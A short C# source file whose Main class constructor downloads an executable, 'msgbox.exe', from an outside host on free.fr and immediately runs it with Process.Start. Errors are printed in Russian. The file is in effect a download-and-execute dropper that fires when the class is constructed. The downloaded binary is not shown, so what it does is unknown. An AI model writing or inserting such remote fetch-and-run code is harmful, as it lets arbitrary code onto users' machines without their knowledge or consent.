using System;
using System.Net;
using System.Diagnostics;
public class Main
{
public Main()
{
string url = "http://myc01.free.fr/msgbox/msgbox.exe";
string downloadPath = "msgbox.exe";
try
{
using (WebClient client = new WebClient())
{
client.DownloadFile(url, downloadPath);
}
Process.Start(downloadPath);
}
catch (Exception ex)
{
Console.WriteLine($"Ошибка: {ex.Message}");
}
}
}